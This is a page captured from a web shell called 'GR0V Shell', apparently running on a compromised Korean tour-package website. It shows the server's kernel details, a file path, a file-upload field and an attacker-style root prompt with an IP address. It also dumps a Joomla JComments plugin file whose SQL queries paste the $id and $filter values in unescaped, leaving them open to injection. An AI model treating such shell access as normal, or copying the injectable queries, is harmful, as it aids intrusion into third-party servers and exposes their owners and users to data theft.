? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/components/com_jcomments/plugins/
File Upload :
Current File : /home/admin/public_html/old/promice/components/com_jcomments/plugins/com_bookmarks.plugin.php

<?php
/**
 * JComments plugin for Bookmarks component objects support
 *
 * @version 1.4
 * @package JComments
 * @author tumtum (tumtum@mail.ru)
 * @license GNU/GPL: http://www.gnu.org/copyleft/gpl.html
 **/
(defined('_VALID_MOS') OR defined('_JEXEC')) or die('Direct Access to this location is not allowed.');

class jc_com_bookmarks extends JCommentsPlugin
{
	function getObjectTitle( $id )
	{
		$db = & JCommentsFactory::getDBO();
		$db->setQuery( "SELECT title FROM #__bookmarks WHERE id='$id'");
		return $db->loadResult();
	}
 
	function getObjectLink( $id )
	{
		$_Itemid = JCommentsPlugin::getItemid( 'com_bookmarks' );
		$link = JoomlaTuneRoute::_('index.php?option=com_bookmarks&Itemid='. $_Itemid.'&task=detail&navstart=0&mode=0&id='. $id .'&search=*');
		return $link;
	}

	function getObjectOwner($id)
	{
		$db = & JCommentsFactory::getDBO();
		$db->setQuery( 'SELECT created_by FROM #__bookmarks WHERE id = ' . $id );
		$userid = $db->loadResult();
		return $userid;
	}

	function getCategories($filter = '')
	{
		$db = & JCommentsFactory::getDBO();
		$query = "SELECT id AS `value`, title AS `text`"
			. "\n FROM #__bookmarks_categories"
			. (($filter != '') ? "\n WHERE id IN ( ".$filter." )" : '')
			. "\n ORDER BY title"
			;
		$db->setQuery( $query );
		$rows = $db->loadObjectList();
		return $rows;
	}
}
?>

T1KUS90T
  root-grov@210.1.60.28:~$